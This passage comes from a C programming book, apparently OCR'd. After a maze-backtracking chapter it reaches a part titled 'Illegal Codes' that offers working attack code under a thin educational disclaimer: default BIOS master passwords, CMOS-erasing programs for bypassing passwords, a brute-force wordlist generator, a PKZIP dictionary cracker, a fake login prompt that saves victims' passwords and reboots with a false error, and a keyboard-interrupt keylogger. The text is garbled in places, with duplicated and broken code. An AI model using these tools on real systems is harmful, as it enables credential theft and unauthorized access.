Have you ever seen poor blind people walking in roads? If they find any obstacles in their way, they would just move backward. Then they will proceed in other direction. How a blind person could move backward when he finds obstacles? Simple answer...by intelligence! Similarly, if a algorithm backtracks with intelligence, wonderful isn't it?

\subsection*{61.1 Recursive Maze Algorithm}

Recursive maze algorithm is one of the good example for backtracking algorithms. In fact Recursive maze algorithm is one of the most available solutions for solving maze.

\subsection*{61.2 Maze}

Maze is an area surrounded by walls; in between you have a path from starting position to ending position. We have to start from the starting point and travel towards the ending point

\subsection*{61.3 Principle of Maze}

As explained above, in maze we have to travel from the starting point to ending point. The problem is to choose the path. If we find any dead-end before ending point, we have to backtrack and change the direction. The direction for traversing be North, East, West and South. We have to continue "move and backtrack" until we reach the ending point.

Assume that we are having a two-dimensional maze cell[WIDTH][HEIGHT]. Here cell[x][y] = 1 denotes wall and cell[x][y] = 0 denotes free cell in the particular location \(x, y\) in the maze. The directions we can move in the array are North, East, West and
\begin{tabular}{|ccccccc|}
\hline \multicolumn{5}{|c|}{ Example Maze } \\
\hline 1 & 1 & 1 & 1 & 1 & 1 & 1 \\
\hline 1 & 0 & 0 & 0 & 1 & 1 & 1 \\
\hline 1 & 1 & 1 & 0 & 1 & 1 & 1 \\
\hline 1 & 1 & 1 & 0 & 0 & 0 & 1 \\
\hline 1 & 1 & 1 & 1 & 1 & 0 & 1 \\
\hline 1 & 1 & 1 & 1 & 1 & 1 & 1 \\
\hline
\end{tabular} South. The first step is to make the boundary of the two-dimensional array as 1 so that we won't go out of the maze, and always reside inside the maze at any time.

Now start moving from the starting position (since the boundary is filled by 1 ) and find the next free cell, then move to the next free cell and so on. If we reach a dead-end, we have to backtrack and make the cells in the path as 1 (wall). Continue the same process till the ending point is reached.

\subsection*{61.4 Program}

The following program finds whether there is a path available between the two positions in maze or not. Here I have used \((1,1)\) and \((8,10)\) as the two positions.


\section*{600 A to Z of C}
```

void Traverse( BOOLEAN *pathavailable, int x1, int y1, int x2, int y2 )
{
if ( x1 == x2 \&\& y1 == y2 )
*pathavailable = TRUE;
if( cell[x1][y1] == 0 )
{
cell[x1][y1] = 1;
Traverse( pathavailable, x1, y1+1, x2, y2 );
Traverse( pathavailable, x1+1, y1, x2, y2 );
Traverse( pathavailable, x1, y1-1, x2, y2 );
Traverse( pathavailable, x1-1, y1, x2, y2 );
}
} /*--Traverse( )------*/
int main( void )
{
BOOLEAN pathavailable = FALSE;
clrscr();
printf( "Original Maze: \n" );
PrintMatrix( );
Traverse( \&pathavailable, 1, 1, 8, 10 );
printf( "Maze after operations: \n" );
PrintMatrix( );
printf( "Path is %s available \n", (pathavailable)? "" : "NOT");
getch( );
return ( 0 );
} /*--main( )--------*/

```

\section*{Exercises}
1. Find out other backtracking problems.
2. Solve 8 Queen problem.

\section*{Part VII}

\section*{I Ilegal Codes}

\section*{Important Notice}

The purpose of Illegal codes is to provide the reader with the loopholes in existing security measures. The main idea is to initiate the reader to develop a good security mechanism. Hence the readers are requested not to use these codes for illegal purposes.
"Whoever wants to be first must be slave to all."

\section*{Overcome BIOS Security}

BIOS security system provides us two types of passwords mechanism namely: system password and setup password. If your system has system password, you cannot use it, unless you provide the right password. If your system has setup password, you need to provide the right password to change the contents of CMOS setup.

\subsection*{62.1 Bypass System password}

If your system is protected with system password, you can't access to the system, and so you cannot use any program to overcome this situation. Hence we can go for the two techniques: default master password and hardware techniques.

\subsection*{62.1.1 Default master password}

Almost all BIOS vendors have default master passwords. Default master password is the one, which can be used instead of the correct password. In other words, almost all BIOS work for two passwords! Among the two, one password is default!

The following table shows the default master password for the famous BIOSs. I hope it would work fine, because I have collected this information from hardware engineers.
\begin{tabular}{|c|c|}
\hline \multicolumn{2}{|l|}{Default Master Passwords} \\
\hline AMI & Award BIOS \\
\hline 589589 & ? award \\
\hline A.M.I . & 013222222 \\
\hline aammii & 13222222 \\
\hline AM & 1EAAh \\
\hline AMI & 256256 \\
\hline AMI_SW & 589589 \\
\hline AMI!SW & 589721 \\
\hline AMI?SW & admin \\
\hline AMI.KEY & alfarome \\
\hline ami.key & aPAf \\
\hline ami.kez & award \\
\hline AMI AMI & award_ps \\
\hline AMIDECOD & AWARD_PW \\
\hline AMIPSWD & AWARD \({ }^{\text {SW }}\) \\
\hline amipswd & BIOS \\
\hline AMISETUP & bios* \\
\hline
\end{tabular}
\begin{tabular}{|c|c|}
\hline AMI & Award BIOS \\
\hline \begin{tabular}{l}
bios310 \\
BIOSPASS \\
CMOSPWD \\
HEWITT RAND \\
KILLCMOS
\end{tabular} & \begin{tabular}{l}
biosstar \\
condo \\
CONDO, \\
djonet \\
efmukl \\
g6PJ \\
h6BB \\
HELGA-S \\
HEWITT RAND \\
HLT \\
j09F \\
j256 \\
j64 \\
Ikw peter \\
Ikwpeter \\
LKWPETER \\
PASSWORD \\
SER \\
setup \\
SKY_FOX \\
SWITCHES_SW \\
Sxyz \\
t0ch20x \\
ttptha \\
TzqF \\
wodj \\
ZAAADA \\
zbaaaca \\
zjaaadc
\end{tabular} \\
\hline Compaq & Daytek \\
\hline Compaq & Daytec \\
\hline Dell & Hewlett-Packard \\
\hline Dell & Hewlpack \\
\hline IBM & Phoenix \\
\hline IBM MBIUO merlin sertafu & Phoenix \\
\hline Toshiba & Zenith \\
\hline Toshiba toshy99 & \[
\begin{aligned}
& 3098 z \\
& \text { Zenith }
\end{aligned}
\] \\
\hline
\end{tabular}

\subsection*{62.1.2 Hardware techniques (clearing CMOS RAM)}

For clearing CMOS RAM, hardware techniques are used. If you could clear the CMOS RAM, the password will be lost. Of course, this book is not a hardware book. But I think a good programmer might know these techniques too. And so I provide this information to you. Hope this will be useful to you!

\subsection*{62.1.2.1 Removing battery}

Removing the battery found on motherboard for about 30 minutes will clear the CMOS RAM and so the system password.

\subsection*{62.1.2.2 Shorting battery}

If the battery is of type Nickel/Cadmium, you can short the battery, with a resistor for about 30 minutes. This method does not apply for Lithium type batteries that are nonrechargeable.

\subsection*{62.1.2.3 Jumper}

Refer your motherboard manual to find which jumper (and how it) has to be used to clear the CMOS RAM.

\subsection*{62.2 Bypass Setup password}

If your system has setup password, you will still have access to the system (and so you can use program), but you won't have any access to CMOS setup. Hence you can use two techniques to clear setup password: Default password and programs.

\subsection*{62.2.1 Default master password}

You can try default master password from the above list to overcome setup password.

\subsection*{62.2.2 Program}

We can also use our programs to access CMOS RAM.

\subsection*{62.2.2.1 Messing up CMOS RAM}

The CMOS checksum hi-byte is stored at offset 2Eh of CMOS RAM. If we change this checksum to another value (say 0), during boot up the BIOS will find that the checksum is wrong and it will be forced to setup with "checksum error" messages. As BIOS finds it as an error, it would load the default settings, which does not have password! And thus we can clear the existing setup password! The following code does this:
```

/* Mess up CMOS RAM */
\#include <dos.h>

```

\section*{606 A to Z of C}
```

\#define CMOS_ADDR (0x70) /* address port of CMOS */
\#define CMOS_DATA (0x71) /* data port for CMOS */
int main( void )
{
printf( "Warning: This program will mess up CMOS RAM \n\a" );
printf( "Do you want to continue? " );
if ( tolower( getchar( ) ) == 'y' )
{
disable( );
outportb( CMOS_ADDR, 0x2E );
outportb( CMOS_DATA, 0 );
enable( );
printf( "Check sum byte at offset 2Eh has set to 0 ! \n" );
printf( "Please restart your system to check.... \a\n" );
}
return(0);
/*--main( )----------*/

```

\subsection*{62.2.2.2 Clearing CMOS RAM through programming}

Instead of using hardware techniques, we can even use a program to clear CMOS RAM. We know that first 16 bytes of CMOS RAM is used by RTC ( Real Time Clock ) registers. If we want to clear 64 byte CMOS RAM, we have to set CMOS RAM from address 10h to 40 h as zero. And if we want to clear 128 bytes CMOS RAM, we have to set address 10 h to 80 h as zero. We start from address 10h, because first \(16(\mathrm{Fh})\) bytes are used for RTL registers. The following code does this:
```

\#include <dos.h>
\#define CMOS_ADDR (0x70) /* address port of CMOS */
\#define CMOS_DATA (0x71) /* data port for CMOS */

```
```

int GetCMOSSize( void )

```
int GetCMOSSize( void )
{
{
    int a, size;
    int a, size;
    /* Read the value present at the 128th (last) byte of CMOS */
    /* Read the value present at the 128th (last) byte of CMOS */
    disable( );
    disable( );
    outportb( CMOS_ADDR, 127 );
    outportb( CMOS_ADDR, 127 );
    a = inportb( CMOS_DATA ); /* store it in 'a' */
    a = inportb( CMOS_DATA ); /* store it in 'a' */
    enable( );
    enable( );
    /* Now, overwrite that (last) byte of CMOS
    /* Now, overwrite that (last) byte of CMOS
        with inverted 'a' (i.e., !a) */
        with inverted 'a' (i.e., !a) */
    a = !a;
    a = !a;
    disable( );
    disable( );
    outportb( CMOS_ADDR, 127 );
    outportb( CMOS_ADDR, 127 );
    outportb( CMOS_DATA, a );
    outportb( CMOS_DATA, a );
    enable( );
```

    enable( );
    ```
```

    /* Check whether the value is written or not */
    disable( );
    outportb( CMOS_ADDR, 127 );
    if ( inportb( CMOS_DATA ) == a ) /* written */
                size = 128; /* so CMOS RAM size is 128 bytes */
            else /* not written */
                size = 64; /* so CMOS RAM size is 64 bytes */
    enable( );
    return( size );
    /*--GetCMOSSize( ) ---------------*/
int main( void )
{
int size, offset;
printf( "BEWARE! This program will erase CMOS contents! \n\a" );
printf( "Don't use this program unnecessarily! \n\n\a" );
printf( "Wanna continue? (Y/N) " );
if ( tolower( getche( ) ) == 'y' )
{
size = GetCMOSSize( );
printf( "\nSize of CMOS RAM is %d bytes \n", size );
/* Erase the CMOS registers from byte-16 to byte-'size' */
for( offset = 16 ; offset<size ; ++offset )
{
disable( );
outportb( CMOS_ADDR, offset );
outportb( CMOS_DATA, 0 ); /* Erase with 0 */
enable( );
}
printf( "CMOS RAM has been just erased! \n\a" );
printf( "Now, Restart your system to check... \n" );
}
return(0);
} /*--main( ) -----*/

```

\section*{Note}

For more security some smart BIOS vendors store BIOS data in NVRAM or SMM memory instead of storing it in same CMOS location. In those cases, clearing BIOS passwords through program won't work. But only a few BIOS vendors do this!

\section*{63 "He who stands firm to the end will be saved." \\ Cracking Techniques}
"Hacker" is an enthusiastic programmer. "Cracker" is the one who does illegal operations like stealing data, passwords etc through programming. So the Cracker might be a Hacker, and the Hacker need not be a Cracker. But in India, both "Hacking" and "Cracking" are interchangeably used.

Password cracking techniques can basically be classified into:
1. Brute force technique
2. Dictionary attack

\subsection*{63.1 Brute force technique}

In brute force technique, all combinations of valid characters are tried until we get the right password. For example, if the length of the password is 1 , we have to try ' A ', ' B '...' Z ' or ' 0 ', \(1^{\prime}\) '...' 9 ', and the process has to continue until the right password is found. If the application uses case-sensitive passwords or special symbols as valid characters, then we have to try 'a', ' b '...' z ' and ' \(\sim\) ', ' \(\$\) '... too. And so from programming point of view, brute force technique is considered to be very time-consuming technique.

I have written the following program to generate word list of length 2. It accepts the file name in which the strings are to be added as an argument.
```

/* File name: Brute.c */
\#include <stdio.h>
char
Valid_Chars[]="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
" 1234567890!@\#\$%^\&*() -=_+`~[]<br>{}|;':\",./<>?";
int main( int argc, char *argv[] )
{
unsigned long i, j, n;
char str[5];
FILE *fp;
if ( argc<2 )
{
printf( "Syntax: BRUTE <output file name> \n\a" );
exit(1);
}

```
    if ( (fp=fopen( argv[1], "w"))==NULL )
    {
        perror( "Error" );
        exit(1);
    }
printf( "Strings are being generated... \n" );
n = 0;
for ( i=0 ; i<strlen( Valid_Chars ) ; ++i )
    for ( j=0; j<strlen( Valid_Chars ); ++j )
        {
            str[0] = Valid_Chars[i];
            str[1] = Valid_Chars[j];
            str[2] = '\0';
            fprintf( fp, "%s \n", str );
            ++n;
        }
    fclose( fp );
printf( "No. of strings written to %s is %ul \a\n", argv[1], n );
return(0);
}
```

When you run the above program as

```
C:\> BRUTE words.lst
```

You would get about 90 thousand words! All the words are with length 2 . So it is more time consuming. You can add more for loops to get words of length other than 2. But it won't be an efficient implementation, you need to try another method. Optimized implementation of generating words list using brute force technique is left to the reader as an exercise. You may change the Valid_Chars table if you don't require all the characters.

### 63.2 Dictionary attack

In this technique, all words that are expected to be the right password are tried. But, there is a difference... it won't directly try those passwords with the software as in brute force technique. The software's encrypting technique like hash values etc will be performed on those passwords and if there is a match in the key, it recognizes it as the right password. Mostly people prefer this technique, because it is not much time consuming compared to brute force.

## 64 <br> Cracking ZI P file's Password

We all use ZIP files (compressed files) for saving disk space. PKZIP is one of the famous ZIP utility. PKZIP provides us security mechanism to save the contents of ZIP file being viewed by others. For this security mechanism one has to use passwords. These passwords can be cracked with dictionary attacks. The encryption algorithm uses case sensitive passwords.

The very famous Windows based WinZip also uses the same compression algorithm used by PKZIP. So there is no difference between the ZIP file created with WinZip and PKZIP.

### 64.1 Cracking ZIP passwords

In order to crack the ZIP file's passwords, you need to know the file format of ZIP. So I suggest you to have a look at the ZIP file format found on file formats section.

### 64.2 CrackIt

### 64.2.1 Logic

The following code is very popular among crackers. Let's call it as CrackIt utility. CrackIt uses dictionary attack technique. So you need to provide a Words list file that is preloaded with all the passwords you suspect. For example, if you suspect that the password would be any one of the words "KING", "QUEEN", "JACK", you have to load the Words list file as:

KING<br>QUEEN<br>JACK

The CrackIt would first take the "KING" and it would check whether it is the right password or not. If not, it would check "QUEEN" and if it is the right password, it would print it. The validation of password is done with dictionary attack.

The encryption algorithm uses case sensitive passwords. So you have to load the Words list file with enough words list. A clever idea is to use brute force for preparing words list that are to be used in Words list file.

CrackIt has few drawbacks:

1. Success of the cracking depends upon the Words list file
2. Dictionary attack won't be faster if you use large Word list

## 3. Because of the encryption mechanism used in PKZIP, it requires at least 3 enciphered files be present in a given ZIP file

### 64.2.2 Code

Following is the code for CrackIt. To check it run it as:

```
                                    C:\>CRACKIT FOO.ZIP WORDS.LST
#include <stdio.h>
#define ZIP (0x04034b50) /* signature */
typedef int BOOLEAN;
#define TRUE
    (1)
#define FALSE (0)
```

```
unsigned long Crc32_Tbl[] =
```

unsigned long Crc32_Tbl[] =
{
0x00000000L, 0x77073096L, 0xee0e612cL, 0x990951baL,
0x076dc419L, 0x706af48fL, 0xe963a535L, 0x9e6495a3L,
0x0edb8832L, 0x79dcb8a4L, 0xe0d5e91eL, 0x97d2d988L,
0x09b64c2bL, 0x7eb17cbdL, 0xe7b82d07L, 0x90bf1d91L,
0x1db71064L, 0x6ab020f2L, 0xf3b97148L, 0x84be41deL,
0x1adad47dL, 0x6ddde4ebL, 0xf4d4b551L, 0x83d385c7L,
0x136c9856L, 0x646ba8c0L, 0xfd62f97aL, 0x8a65c9ecL,
0x14015c4fL, 0x63066cd9L, 0xfa0f3d63L, 0x8d080df5L,
0x3b6e20c8L, 0x4c69105eL, 0xd56041e4L, 0xa2677172L,
0x3c03e4d1L, 0x4b04d447L, 0xd20d85fdL, 0xa50ab56bL,
0x35b5a8faL, 0x42b2986cL, 0xdbbbc9d6L, 0xacbcf940L,
0x32d86ce3L, 0x45df5c75L, 0xdcd60dcfL, 0xabd13d59L,
0x26d930acL, 0x51de003aL, 0xc8d75180L, 0xbfd06116L,
0x21b4f4b5L, 0x56b3c423L, 0xcfba9599L, 0xb8bda50fL,
0x2802b89eL, 0x5f058808L, 0xc60cd9b2L, 0xb10be924L,
0x2f6f7c87L, 0x58684c11L, 0xc1611dabL, 0xb6662d3dL,
0x76dc4190L, 0x01db7106L, 0x98d220bcL, 0xefd5102aL,
0x71b18589L, 0x06b6b51fL, 0x9fbfe4a5L, 0xe8b8d433L,
0x7807c9a2L, 0x0f00f934L, 0x9609a88eL, 0xe10e9818L,
0x7f6a0dbbL, 0x086d3d2dL, 0x91646c97L, 0xe6635c01L,
0x6b6b51f4L, 0x1c6c6162L, 0x856530d8L, 0xf262004eL,
0x6c0695edL, 0x1b01a57bL, 0x8208f4c1L, 0xf50fc457L,
0x65b0d9c6L, 0x12b7e950L, 0x8bbeb8eaL, 0xfcb9887cL,
0x62dd1ddfL, 0x15da2d49L, 0x8cd37cf3L, 0xfbd44c65L,
0x4db26158L, 0x3ab551ceL, 0xa3bc0074L, 0xd4bb30e2L,
0x4adfa541L, 0x3dd895d7L, 0xa4d1c46dL, 0xd3d6f4fbL,
0x4369e96aL, 0x346ed9fcL, 0xad678846L, 0xda60b8d0L,

```

\section*{612 A to Z of C}
```

    0x44042d73L, 0x33031de5L, 0xaa0a4c5fL, 0xdd0d7cc9L,
    0x5005713cL, 0x270241aaL, 0xbe0b1010L, 0xc90c2086L,
    0x5768b525L, 0x206f85b3L, 0xb966d409L, 0xce61e49fL,
    0x5edef90eL, 0x29d9c998L, 0xb0d09822L, 0xc7d7a8b4L,
    0x59b33d17L, 0x2eb40d81L, 0xb7bd5c3bL, 0xc0ba6cadL,
    0xedb88320L, 0x9abfb3b6L, 0x03b6e20cL, 0x74b1d29aL,
    0xead54739L, 0x9dd277afL, 0x04db2615L, 0x73dc1683L,
    0xe3630b12L, 0x94643b84L, 0x0d6d6a3eL, 0x7a6a5aa8L,
    0xe40ecf0bL, 0x9309ff9dL, 0x0a00ae27L, 0x7d079eb1L,
    0xf00f9344L, 0x8708a3d2L, 0x1e01f268L, 0x6906c2feL,
    0xf762575dL, 0x806567cbL, 0x196c3671L, 0x6e6b06e7L,
    0xfed41b76L, 0x89d32be0L, 0x10da7a5aL, 0x67dd4accL,
    0xf9b9df6fL, 0x8ebeeff9L, 0x17b7be43L, 0x60b08ed5L,
    0xd6d6a3e8L, 0xa1d1937eL, 0x38d8c2c4L, 0x4fdff252L,
    0xd1bb67f1L, 0xa6bc5767L, 0x3fb506ddL, 0x48b2364bL,
    0xd80d2bdaL, 0xaf0a1b4cL, 0x36034af6L, 0x41047a60L,
    0xdf60efc3L, 0xa867df55L, 0x316e8eefL, 0x4669be79L,
    0xcb61b38cL, 0xbc66831aL, 0x256fd2a0L, 0x5268e236L,
    0xcc0c7795L, 0xbb0b4703L, 0x220216b9L, 0x5505262fL,
    0xc5ba3bbeL, 0xb2bd0b28L, 0x2bb45a92L, 0x5cb36a04L,
    0xc2d7ffa7L, 0xb5d0cf31L, 0x2cd99e8bL, 0x5bdeae1dL,
    0x9b64c2b0L, 0xec63f226L, 0x756aa39cL, 0x026d930aL,
    0x9c0906a9L, 0xeb0e363fL, 0x72076785L, 0x05005713L,
    0x95bf4a82L, 0xe2b87a14L, 0x7bb12baeL, 0x0cb61b38L,
    0x92d28e9bL, 0xe5d5be0dL, 0x7cdcefb7L, 0x0bdbdf21L,
    0x86d3d2d4L, 0xf1d4e242L, 0x68ddb3f8L, 0x1fda836eL,
    0x81be16cdL, 0xf6b9265bL, 0x6fb077e1L, 0x18b74777L,
    0x88085ae6L, 0xff0f6a70L, 0x66063bcaL, 0x11010b5cL,
    0x8f659effL, 0xf862ae69L, 0x616bffd3L, 0x166ccf45L,
    0xa00ae278L, 0xd70dd2eeL, 0x4e048354L, 0x3903b3c2L,
    0xa7672661L, 0xd06016f7L, 0x4969474dL, 0x3e6e77dbL,
    0xaed16a4aL, 0xd9d65adcL, 0x40df0b66L, 0x37d83bf0L,
    0xa9bcae53L, 0xdebb9ec5L, 0x47b2cf7fL, 0x30b5ffe9L,
    0xbdbdf21cL, 0xcabac28aL, 0x53b39330L, 0x24b4a3a6L,
    0xbad03605L, 0xcdd70693L, 0x54de5729L, 0x23d967bfL,
    0xb3667a2eL, 0xc4614ab8L, 0x5d681b02L, 0x2a6f2b94L,
    0xb40bbe37L, 0xc30c8ea1L, 0x5a05df1bL, 0x2d02ef8dL
    };

```
```

\#define CRC32( x, y ) (Crc32_Tbl[((int)(x) ^ (y)) \& 0xff] ^ ((x) >> 8))

```
#define CRC32( x, y ) (Crc32_Tbl[((int)(x) ^ (y)) & 0xff] ^ ((x) >> 8))
int main( int argc, char *argv[] )
int main( int argc, char *argv[] )
{
{
    BOOLEAN tried_all, found;
    BOOLEAN tried_all, found;
    int byte;
    int byte;
    int byte_num;
    int byte_num;
    long compressed_size;
```

    long compressed_size;
    ```
```

int extra_field_length;
char file_name[1024];
int file_name_length;
int file_num;
int flags;
unsigned char header[3][12];
unsigned long key[3];
int num_enciphered;
char password[255];
char *password_ptr;
long signature;
unsigned char target[3];
int tem;
FILE *wordlist_fp, *zip_fp;
if ( argc < 3 )
{
printf( "Syntax: CRACKIT <zipfile> <wordslistfile> \a\n " );
exit(1);
}
/* Check for file errors....*/
if ( (zip_fp=fopen(argv[1], "rb")) == NULL )
{
printf( "Error: Couldn't open %s \a\n", argv[1] );
exit(1);
}
if ( (wordlist_fp=fopen(argv[2], "r") ) == NULL )
{
printf( "Error: Couldn't open %s \a\n", argv[2] );
exit(1);
}
/* <- checked ok */
/* Read the necessary informations from ZIP file... */
num_enciphered = 0;
while ( (num_enciphered < 3)
/* Read 4 bytes from ZIP file... */
\&\& fread( \&signature, 4, 1, zip_fp )
\&\& (signature == ZIP) )
{
fseek( zip_fp, 2L, SEEK_CUR );
fread( \&flags, 2, 1, zip_fp );
if ( flags \& (1<<0) ) /* bit0 set? */
{
fseek( zip_fp, 9L, SEEK_CUR );
fread( \&(target[num_enciphered]), 1, 1, zip_fp );

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```
            fread( &compressed_size, 4, 1, zip_fp );
            fseek( zip_fp, 4L, SEEK_CUR );
            fread( &file_name_length, 2, 1, zip_fp );
            fread( &extra_field_length, 2, 1, zip_fp );
            fread( &file_name[0], 1,
            file_name_length, zip_fp );
            file_name[file_name_length] = '\0';
            fseek( zip_fp, (long)extra_field_length, SEEK_CUR );
            fread( &(header[num_enciphered++][0]), 1, 12, zip_fp );
            compressed_size -= 12L;
            printf( "%s is enciphered \n", &file_name[0] );
        }
        else
            {
                fseek( zip_fp, 10L, SEEK_CUR );
                    fread( &compressed_size, 4, 1, zip_fp );
                    fseek( zip_fp, 4L, SEEK_CUR );
                    fread( &file_name_length, 2, 1, zip_fp );
                    fread( &extra_field_length, 2, 1, zip_fp );
                    compressed_size += file_name_length+extra_field_length;
            }
        fseek( zip_fp, compressed_size, SEEK_CUR );
    }
fclose(zip_fp);
```

```
if (num_enciphered == 0)
```

if (num_enciphered == 0)
printf( "Nothing is enciphered in %s \n", argv[1] );
printf( "Nothing is enciphered in %s \n", argv[1] );
else if (num_enciphered < 3)
else if (num_enciphered < 3)
{
{
printf( "Less than 3 files are enciphered in %s \a\n",
printf( "Less than 3 files are enciphered in %s \a\n",
argv[1] );
argv[1] );
printf( "CRACKIT requires atleast 3 enciphered files \n" );
printf( "CRACKIT requires atleast 3 enciphered files \n" );
}
}
else /* Crack using wordlist....*/
else /* Crack using wordlist....*/
{
{
found = FALSE;
found = FALSE;
byte_num = 0;
byte_num = 0;
while (fgets(\&password[0],255,wordlist_fp) != NULL)
while (fgets(\&password[0],255,wordlist_fp) != NULL)
{
{
password[strlen(\&password[0])-1] = '\0';
password[strlen(\&password[0])-1] = '\0';
tried_all = TRUE;
tried_all = TRUE;
file_num = 0;
file_num = 0;
while (tried_all \&\& (file_num<num_enciphered))
while (tried_all \&\& (file_num<num_enciphered))
{
{
key[0] = 305419896L;

```
                    key[0] = 305419896L;
```

```
            key[1] = 591751049L;
            key[2] = 878082192L;
            password_ptr = &password[0];
            while (*password_ptr != '\0')
                        {
                byte = *(password_ptr++);
                    key[0] = CRC32( key[0], byte );
                    key[1] += key[0] & 0xff;
                    key[1] = key[1]*134775813L + 1;
                    key[2] = CRC32( key[2], key[1] >> 24);
                    }
                    for ( byte_num=0; byte_num < 12; ++byte_num )
                    {
                        tem = key[2] 2;
                byte = header[file_num][byte_num]
                                    ^(((tem*(tem^1)) >> 8) & 0xff);
            key[0] = CRC32( key[0], byte );
            key[1] += key[0] & 0xff;
            key[1] = key[1]*134775813L + 1;
            key[2] = CRC32( key[2], key[1] >> 24 );
                    }
                    if ( byte == target[file_num] )
                    ++file_num;
            else
                    tried_all = FALSE;
        }
        if ( tried_all )
        {
            if (!found)
                    found = TRUE;
                    printf( "Passwords migh be: \n" );
                }
            printf( "\t %s \n", &password[0] );
        }
    }
        if (!found)
                            printf( "%s don't hold the right Password \a\n",
                                    argv[2] );
    fclose(wordlist_fp);
    }
    return(0);
/*--main( ) ------**
```


## 65

 "Correction and punishment make children wise."
## Network Passwords

Novell Netware and Windows NT are the famous Network Operating Systems. Now, Novell Netware is quite obsolete. This Network Operating System provides security to files of each user in the network. So accessing another user's file in network is restricted. In order to access another user's files, we need access privilege or his password.

### 65.1 Novell Netware

Crackers usually use following methods to steal passwords in Novell Netware Systems.

### 65.1.1 Fake Prompts

One of the easiest method is to run your 'fake prompt' program and leave the place. The output of that program should be like

F: \LOGIN>
Another innocent user will enter his user name and password as:

```
F:\LOGIN>LOGIN JACK
Enter your password: ****
```

Now the 'fake prompt' program will save the username and password in your area. And it will restart the system. The innocent user may not be aware of the cause. The following code does this:

```
#include <stdio.h>
#include <conio.h>
void ReBoot( void )
{
    void (far* fp) (void) = (void (far*) (void))0xFFFF0000UL;
    *(unsigned far *)0x00400072UL = 0; /* 0 for cold boot */
    (*fp)();
} /*--ReBoot( )-------*/
int main( void )
{
    FILE *fp;
    char *passwd, pass[50], username[50];
    passwd = pass;
```

```
    /* Open the 'password database' in append mode */
    if ( (fp=fopen( "stolen.pas", "a" ) )==NULL )
        {
            perror( "\n\aError: " );
            exit(1);
        }
    clrscr( );
    printf( "F:\\LOGIN>" );
    gets( username );
    passwd = getpass( "Enter your password: ");
    /* Now store the values in 'password database' */
    fprintf( fp, "%s %s\n", username, passwd );
    fclose( fp );
    /* Now, confuse the user with some messages & reboot the system */
    printf( "\nFatal Error: 1000111" ); /* lies!! */
    printf( "\nRestarting..........." );
    ReBoot( );
    return(0);
} /*--main( )------------*/
```

This method has got drawbacks. The user may not enter the right username and right password always. Another thing is if somebody switches off the system, your 'fake prompt' program will no more be alive.

### 65.1.2 TSR program

Another technique preferred is to use a TSR program to trap the key press. Crackers usually use a buffer with enough size (say 50), to store the key presses. The cracker will execute the TSR program and will logoff. But the TSR program will still be active. The innocent user will now login, his key presses will be trapped in a buffer. When the innocent user logoff or goes off, the cracker will silently come and use his hot-key to see the trapped keys and so his password. This method is better than the previous method because even if the innocent user enters wrong user name or password, it silently traps them. The following code does this:

```
#include <dos.h>
#define _4KB (4096)
#define F12
#define IS_BACKSPACE (key) (key==14)
#define IS_SPACE_BAR(key) (key==57)
#define IS_ENTER(key) (key==28)
#define IS_SPL_ROW(key) (key>=2 && key<=13)
#define IS_SPL_1(key) (key==41)
#define IS_SPL_2(key) (key==43)
```


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```
#define IS_Q_ROW(key)
#define IS_A_ROW(key)
#define IS_Z_ROW(key)
#define IS_NUM_ROW1(key)
#define IS_NUM_ROW2(key)
#define IS_NUM_ROW3(key)
#define IS_NUM_ROW4(key)
#define SIZE
```

char Key_String[SIZE],

```
char Key_String[SIZE],
    Space_Bar = ' ',
    Space_Bar = ' ',
    Spl_Row[] = "!@#$%^&*()_+",
    Spl_Row[] = "!@#$%^&*()_+",
    Spl_1 = '~',
    Spl_1 = '~',
    Spl_2 = '|',
    Spl_2 = '|',
    Q_Row[] = "qwertyuiop[]",
    Q_Row[] = "qwertyuiop[]",
    A_Row[] = "asdfghjkl;'",
    A_Row[] = "asdfghjkl;'",
    Z_Row[] = "zxcvbnm,./",
    Z_Row[] = "zxcvbnm,./",
    Num_Row1[] = "789",
    Num_Row1[] = "789",
    Num_Row2[] = "456",
    Num_Row2[] = "456",
    Num_Row3[] = "123",
    Num_Row3[] = "123",
    Num_Row4[] = "0.",
    Num_Row4[] = "0.",
    Enter_Symbol[] = " Ù";
    Enter_Symbol[] = " Ù";
char far *Vid_RAM;
char far *Vid_RAM;
int i=0, Key_Val, Last_Pos = 0;
```

int i=0, Key_Val, Last_Pos = 0;

```
(key>=16 \&\& key<=27)
(key>=30 \&\& key<=40)
(key>=44 \&\& key<=53)
(key>=71 \&\& key<=73)
(key>=75 \&\& key<=77)
(key>=79 \&\& key<=81)
(key>=82 \&\& key<=83)
void WriteCh2VidRAM (int vdupage, int \(x\), int \(y\), char ch, int attribute );
void WriteStr2VidRAM(int vdupage, int \(x, i n t y, c h a r ~ * s t r, ~ i n t ~ a t t r i b u t e ~) ; ~\)
void interrupt (*Int9) ( ) ;
void interrupt MyInt9( );
void WriteCh2VidRAM( int vdupage, int \(x, ~ i n t ~ y, ~ c h a r ~ c h, ~ i n t ~ a t t r i b u t e ~) ~\)
\{
    FP_SEG( Vid_RAM ) = 0xb800;
    FP_OFF ( Vid_RAM ) = 0x0000;
    * (Vid_RAM + _4KB * vdupage +160 * \(\mathrm{y}+2\) * x ) = ch;
    * (Vid_RAM + _4KB * vdupage +160 * \(\mathrm{y}+2 \mathrm{k} \mathrm{x}+1\) ) = attribute;
\} /*--WriteCh2VidRAM( ) -----------*/
```

void WriteStr2VidRAM(int vdupage,int x,int y, char *str, int attribute )
{
while(*str)
WriteCh2VidRAM( vdupage, x++, y, *str++, attribute );
} /*--WriteStr2VidRAM( ) ------------*/

```
```

void interrupt MyInt9( void )
{
Key_Val = inportb(0x60);
if ( Key_Val==F12 ) /* Hot key pressed? */
{
Key_String[i] = '\0';
WriteStr2VidRAM( 0, 10, 10, Key_String, 112 );
i = 0;
}
if ( i< SIZE-2 ) /* avoid array overflow */
if ( IS_SPL_ROW(Key_Val) )
Key_String[i++] = Spl_Row[Key_Val - 2];
else if ( IS_SPL_1(Key_Val) )
Key_String[i++] = Spl_1;
else if ( IS_SPL_2(Key_Val) )
Key_String[i++] = Spl_2;
else if ( IS_Q_ROW(Key_Val) )
Key_String[i++] = Q_Row[Key_Val - 16];
else if ( IS_A_ROW(Key_Val) )
Key_String[i++] = A_Row[Key_Val - 30];
else if ( IS_Z_ROW(Key_Val) )
Key_String[i++] = Z_Row[Key_Val - 44];
else if ( IS_NUM_ROW1(Key_Val) )
Key_String[i++] = Num_Row1[Key_Val - 71];
else if ( IS_NUM_ROW2(Key_Val) )
Key_String[i++] = Num_Row2[Key_Val - 75];
else if ( IS_NUM_ROW3(Key_Val) )
